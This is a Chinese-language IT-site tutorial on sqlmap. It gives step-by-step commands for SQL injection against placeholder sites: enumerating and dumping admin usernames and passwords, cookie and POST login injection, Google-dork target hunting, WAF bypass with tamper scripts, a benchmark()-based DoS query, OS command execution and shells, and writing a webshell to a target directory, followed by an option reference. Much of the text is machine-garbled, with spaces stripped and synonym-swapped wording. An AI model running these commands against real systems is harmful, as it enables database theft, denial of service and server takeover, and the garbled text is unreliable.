志在指尖
用双手敲打未来

sqlmap常用命令详解

sqlmap常用命令详解

表内查找字段从数据库中查找字段
sqlmap-r“c:\tools\request.txt”–dbmsmysql-Ddedecms–search-Cadmin,password–dump
一共有11种常见SQLmap运用办法:
一、SQLMAP用于Access数据库注入
(1)猜解是否能注入
win:pythonsqlmap.py-u”http://www.xxx.com/en/CompHonorBig.asp?id=7″
Linux:.lmap.py-u”http://www.xxx.com/en/CompHonorBig.asp?id=7″
(2)猜解表
win:pythonsqlmap.py-u”http://www.xxx.com/en/CompHonorBig.asp?id=7″–tables
Linux:.lmap.py-u”http://www.xxx.com/en/CompHonorBig.asp?id=7″–tables
(3)依据猜解的表进行猜解表的字段(假设经过2得到了admin这个表)
win:pythonsqlmap.py-u”http://www.xxx.com/en/CompHonorBig.asp?id=7″–columns-Tadmin
Linux:.lmap.py-u”http://www.xxx.com/en/CompHonorBig.asp?id=7″–columns-Tadmin
(4)依据字段猜解内容(假设经过3得到字段为username和password)
win:pythonsqlmap.py-u”http://www.xxx.com/en/CompHonorBig.asp?id=7″–dump-Tadmin-C”username,password”
Linux:.lmap.py-u”http://www.xxx.com/en/CompHonorBig.asp?id=7″–dump-Tadmin-C
“username,[url=]B[/url]password”
二、SQLMAP用于Cookie注入
(1)cookie注入,猜解表
1
win:pythonsqlmap.py-u”http://www.xxx.org/jsj/shownews.asp”–cookie”id=31″–table–level2
(2)猜解字段,(经过1的表猜解字段,假设表为admin)
win:pythonsqlmap.py-u”http://www.xxx.org/jsj/shownews.asp”–cookie”id=31″–columns-T
admin–level2sqlmap
(3)猜解内容
win:pythonsqlmap.py-u”http://www.xxx.org/jsj/shownews.asp”–cookie”id=31″–dump-T
admin-C”username,password”–level2
三、SQLMAP用于mysql中DDOS攻击(1)获取一个Shell
win:
pythonsqlmap.py-u[url]http://192.168.159.1/news.php?id=1[/url]–sql-shell
Linux:
sqlmap-u[url]http://192.168.159.1/news.php?id=1[/url]–sql-shell
(2)输入履行句子完结DDOS攻击
1
selectbenchmark(99999999999,0x70726f62616e646f70726f62616e646f70726f62616e646f)
四、SQLMAP用于mysql注入
(1)查找数据库
1
pythonsqlmap.py-u”http://www.xxx.com/link.php?id=321″–dbs
(2)经过第一步的数据库查找表(假设数据库名为dataname)
1
pythonsqlmap.py-u”http://www.xxx.com/link.php?id=321″-Ddataname–tables
(3)经过2中的表得出列名(假设表为table_name)
1
pythonsqlmap.py-u”http://www.xxx.com/link.php?id=321″-Ddataname-Ttable_name–columns
(4)获取字段的值(假设扫描出id,user,password字段)
pythonsqlmap.py-u”http://www.xxx.com/link.php?id=321″-Ddataname-Ttable_name-C
“id,user,password”–dump
五、SQLMAP中post登陆框注入
(1)其间的search-test.txt是经过抓包东西burpsuite抓到的包并把数据保存为这个txt文件
咱们在运用Sqlmap进行post型注入时,经常会呈现恳求遗漏导致注入失利的状况。这儿共享一个小技巧,即结合burpsuite来运用sqlmap,用这种办法进行post注入测验会更准确,操作起来也非常简单。
1.浏览器翻开方针地址http://www.xxx.com/Login.asp
2.装备burp署理(127.0.0.1:8080)以阻拦恳求
3.点击login表单的submit按钮
4.这时候Burp会阻拦到了咱们的登录POST恳求
5.把这个post恳求复制为txt,我这命名为search-test.txt然后把它放至sqlmap目录下
6.运转sqlmap并运用如下指令:
1
./sqlmap.py-rsearch-test.txt-ptfUPass
这儿参数-r是让sqlmap加载咱们的post恳求rsearch-test.txt,而-p我们应该比较熟悉,指定注入用的参数。
注入点:http://testasp.vulnweb.com/Login.asp
几种注入方式:./sqlmap.py-rsearch-test.txt-ptfUPass
(2)自动的查找
1
sqlmap-u[url]http://testasp.vulnweb.com/Login.asp[/url]–forms
(3)指定参数查找
1
sqlmap-u[url]http://testasp.vulnweb.com/Login.asp[/url]–data”tfUName=321&tfUPass=321″
六、SQLMAP中Google查找注入
inurl后边的言语是由自己定的
注入过程中假设选y是注入,假设不是选n
1
sqlmap-ginurl:php?id=
七、SQLMAP中的恳求延迟
参数–delay–safe-freq
pythonsqlmap.py–dbs-u”http://xxx.cn/index.php/Index/view/id/40.html”–delay1
pythonsqlmap.py–dbs-u”http://xxx.cn/index.php/Index/view/id/40.html”–safe-freq3
参数
八、SQLMAP绕过WAF防火墙
注入点:http://192.168.159.1/news.php?id=1
sqlmap-u[url]http://192.168.159.1/news.php?id=1[/url]-v3–dbs–batch–tamper”space2morehash.py”
space2morehash.py中能够替换space2hash.py或许base64encode.py或许charencode.py
都是编码方式
space2hash.pybase64encode.pycharencode.py
九、SQLMAP查看权限
1
sqlmap-u[url]http://192.168.159.1/news.php?id=1[/url]–privileges
十、SQLMAP伪静态注入(1)查找数据库
pyhonsqlmap.py-u”http://xxx.cn/index.php/Index/view/id/40.html”–dbs
(2)经过1中的数据库查找对应的表(假设经过1,得到的是dataname)
pythonsqlmap.py-u”http://xxx.cn/index.php/Index/view/id/40.html”-Ddataname–tables
(3)经过2中的数据表得到字段(假设得到的是tablename表)
pythonsqlmap.py-u”http://xxx.cn/index.php/Index/view/id/40.html”-Ddataname-T
tablename–columns
(4)经过3得到字段值(假设从3中得到字段id,password)
pythonsqlmap.py-u”http://xxx.cn/index.php/Index/view/id/40.html”-Ddataname-T
tablename-C”password”–dump
十一、SQLMAP注入点履行指令与交互写shell
(1)注入点:http://192.168.159.1/news.php?id=1
此处选用的是Linux体系
sqlmap-u[url]http://192.168.159.1/news.php?id=1[/url]–os-cmd=ipconfig
呈现言语的挑选依据实践的测验网站挑选言语
指定方针站点D:/www/
(2)获取Shell
sqlmap-u[url]http://192.168.159.1/news.php?id=1[/url]–os-shell
呈现言语的挑选依据实践的测验网站挑选言语
指定方针站点D:/www/
输入ipconfig/all
创建用户和删去用户
只要权限足够大,你能够输入运用任何指令。
其他指令参考下面:
从数据库中查找字段
1
sqlmap-r“c:\tools\request.txt”–dbmsmysql-Ddedecms–search-Cadmin,password
在dedecms数据库中查找字段admin或许password。
读取与写入文件
首先找需求网站的物理途径,其次需求有可写或可读权限。
–file-read=RFILE从后端的数据库办理体系文件体系读取文件(物理途径)
–file-write=WFILE修改后端的数据库办理体系文件体系上的本地文件(mssqlxp_shell)
–file-dest=DFILE后端的数据库办理体系写入文件的绝对途径
#示例:
1
sqlmap-r“c:\request.txt”-pid–dbmsmysql–file-dest“e:\php\htdocs\dvwa\inc\include\1.php”–file-write“f:\webshell\1112.php”
运用shell指令:
1
sqlmap-r“c:\tools\request.txt”-pid–dmsmysql–os-shell
接下来指定网站可写目录:
“E:\php\htdocs\dvwa”
#注:mysql不支撑列目录,仅支撑读取单个文件。sqlserver能够列目录,不能读写文件,但需求一个(xp_dirtree函数)
sqlmap详细指令:
-is-dba当时用户权限(是否为root权限)
-dbs一切数据库
-current-db网站当时数据库
-users一切数据库用户
-current-user当时数据库用户
-random-agent结构随机user-agent
-passwords数据库暗码
-proxyhttp://local:8080–threads10(能够自定义线程加速)署理
-time-sec=TIMESECDBMS呼应的延迟时刻(默以为5秒)
Options(选项):
-version显现程序的版别号并退出
-h,–help显现此协助音讯并退出
-vVERBOSE详细等级:0-6(默以为1)
Target(方针):
以下至少需求设置其间一个选项,设置方针URL。
-dDIRECT直接衔接到数据库。
-uURL,–url=URL方针URL。
-lLIST从Burp或WebScarab署理的日志中解析方针。
-rREQUESTFILE从一个文件中载入HTTP恳求。
-gGOOGLEDORK处理Googledork的成果作为方针URL。
-cCONFIGFILE从INI装备文件中加载选项。sqlmap常用命令详解
Request(恳求):
这些选项能够用来指定如何衔接到方针URL。
-data=DATA经过POST发送的数据字符串
-cookie=COOKIEHTTPCookie头
-cookie-urlencodeURL编码生成的cookie注入
-drop-set-cookie疏忽呼应的Set–Cookie头信息
-user-agent=AGENT指定HTTPUser–Agent头
-random-agent运用随机选定的HTTPUser–Agent头
-referer=REFERER指定HTTPReferer头
-headers=HEADERS换行分隔,加入其他的HTTP头
-auth-type=ATYPEHTTP身份验证类型(根本,摘要或NTLM)(Basic,DigestorNTLM)
-auth-cred=ACREDHTTP身份验证凭据(用户名:暗码)
-auth-cert=ACERTHTTP认证证书(key_file,cert_file)
-proxy=PROXY运用HTTP署理衔接到方针URL
-proxy-cred=PCREDHTTP署理身份验证凭据(用户名:暗码)
-ignore-proxy疏忽体系默许的HTTP署理
-delay=DELAY在每个HTTP恳求之间的延迟时刻,单位为秒
-timeout=TIMEOUT等候衔接超时的时刻(默以为30秒)
-retries=RETRIES衔接超时后从头衔接的时刻(默许3)
-scope=SCOPE从所供给的署理日志中过滤器方针的正则表达式
-safe-url=SAFURL在测验过程中经常拜访的url地址
-safe-freq=SAFREQ两次拜访之间测验恳求,给出安全的URL
Enumeration(枚举):
这些选项能够用来罗列后端数据库办理体系的信息、表中的结构和数据。此外,您还能够运转您自己的SQL句子。
-b,–banner检索数据库办理体系的标识
-current-user检索数据库办理体系当时用户
-current-db检索数据库办理体系当时数据库
-is-dba检测DBMS当时用户是否DBA
-users枚举数据库办理体系用户
-passwords枚举数据库办理体系用户暗码哈希
-privileges枚举数据库办理体系用户的权限
-roles枚举数据库办理体系用户的人物
-dbs枚举数据库办理体系数据库
-DDBname要进行枚举的指定数据库名
-TTBLname要进行枚举的指定数据库表(如:-Ttablename–columns)
-tables枚举的DBMS数据库中的表
-columns枚举DBMS数据库表列
-dump转储数据库办理体系的数据库中的表项
-dump-all转储一切的DBMS数据库表中的条目
-search查找列(S),表(S)和/或数据库名称(S)
-CCOL要进行枚举的数据库列
-UUSER用来进行枚举的数据库用户
-exclude-sysdbs枚举表时扫除体系数据库
-start=LIMITSTART第一个查询输出进入检索
-stop=LIMITSTOP最终查询的输出进入检索
-first=FIRSTCHAR第一个查询输出字的字符检索
-last=LASTCHAR最终查询的输出字字符检索
-sql-query=QUERY要履行的SQL句子
-sql-shell提示交互式SQL的shell
Optimization(优化):
这些选项可用于优化SqlMap的性能。
-o开启一切优化开关
–predict-output预测常见的查询输出
–keep-alive运用耐久的HTTP(S)衔接
–null-connection从没有实践的HTTP呼应体中检索页面长度
–threads=THREADS最大的HTTP(S)恳求并发量(默以为1)
Injection(注入):
这些选项能够用来指定测验哪些参数,供给自定义的注入payloads和可选篡改脚本。
-pTESTPARAMETER可测验的参数(S)
–dbms=DBMS强制后端的DBMS为此值
–os=OS强制后端的DBMS操作体系为这个值
–prefix=PREFIX注入payload字符串前缀
–suffix=SUFFIX注入payload字符串后缀
–tamper=TAMPER运用给定的脚本(S)篡改注入数据
Detection(检测):
这些选项能够用来指定在SQL盲注时如何解析和比较HTTP呼应页面的内容。
–level=LEVEL履行测验的等级(1-5,默以为1)
–risk=RISK履行测验的危险(0-3,默以为1)
–string=STRING查询时有效时在页面匹配字符串
–regexp=REGEXP查询时有效时在页面匹配正则表达式
–text-only仅根据在文本内容比较网页
Techniques(技巧):
这些选项可用于调整详细的SQL注入测验。
–technique=TECHSQL注入技能测验(默许BEUST)
–time-sec=TIMESECDBMS呼应的延迟时刻(默以为5秒)
–union-cols=UCOLS定列规模用于测验UNION查询注入
–union-char=UCHAR用于暴力猜解列数的字符
Fingerprint(指纹):
-f,–fingerprint履行查看广泛的DBMS版别指纹
Bruteforce(蛮力):
这些选项能够被用来运转蛮力查看。
–common-tables查看存在一起表
–common-columns查看存在一起列
User-definedfunctioninjection(用户自定义函数注入):
这些选项能够用来创建用户自定义函数。
–udf-inject注入用户自定义函数
–shared-lib=SHLIB共享库的本地途径
Filesystemaccess(拜访文件体系):
这些选项能够被用来拜访后端数据库办理体系的底层文件体系。
–file-read=RFILE从后端的数据库办理体系文件体系读取文件
–file-write=WFILE修改后端的数据库办理体系文件体系上的本地文件
–file-dest=DFILE后端的数据库办理体系写入文件的绝对途径
Operatingsystemaccess(操作体系拜访):
这些选项能够用于拜访后端数据库办理体系的底层操作体系。
–os-cmd=OSCMD履行操作体系指令
–os-shell交互式的操作体系的shell
–os-pwn获取一个OOBshell,meterpreter或VNC
–os-smbrelay一键获取一个OOBshell,meterpreter或VNC
–os-bof存储过程缓冲区溢出运用
–priv-esc数据库进程用户权限提升
–msf-path=MSFPATHMetasploitFramework本地的装置途径
–tmp-path=TMPPATH远程临时文件目录的绝对途径
Windows注册表拜访:
这些选项能够被用来拜访后端数据库办理体系Windows注册表。
–reg-read读一个Windows注册表项值
–reg-add写一个Windows注册表项值数据
–reg-del删去Windows注册表键值
–reg-key=REGKEYWindows注册表键
–reg-value=REGVALWindows注册表项值
–reg-data=REGDATAWindows注册表键值数据
–reg-type=REGTYPEWindows注册表项值类型
这些选项能够用来设置一些一般的工作参数。
-tTRAFFICFILE记载一切HTTP流量到一个文本文件中
-sSESSIONFILE保存和恢复检索会话文件的一切数据
–flush-session刷新当时方针的会话文件
–fresh-queries疏忽在会话文件中存储的查询成果
–eta显现每个输出的预计到达时刻
–update更新SqlMap
–savefile保存选项到INI装备文件
–batch从不问询用户输入,运用一切默许装备。
Miscellaneous(杂项):
–beep发现SQL注入时提示
–check-payloadIDS对注入payloads的检测测验
–cleanupSqlMap详细的UDF和表清理DBMS
–forms对方针URL的解析和测验方式
–gpage=GOOGLEPAGE从指定的页码运用谷歌dork成果
–page-rankGoogledork成果显现网页排名(PR)
–parse-errors从呼应页面解析数据库办理体系的错误音讯
–replicate复制转储的数据到一个sqlite3数据库
–tor运用默许的Tor(Vidalia/Privoxy/Polipo)署理地址
–wizard给初级用户的简单向导界面

未经允许不得转载:IT技术网站 » sqlmap常用命令详解
分享到: 更多 (0)

评论 抢沙发

评论前必须登录!

 

志在指尖 用双手敲打未来

登录/注册IT技术大全

热门IT技术

C#基础入门   SQL server数据库   系统SEO学习教程   WordPress小技巧   WordPress插件   脚本与源码下载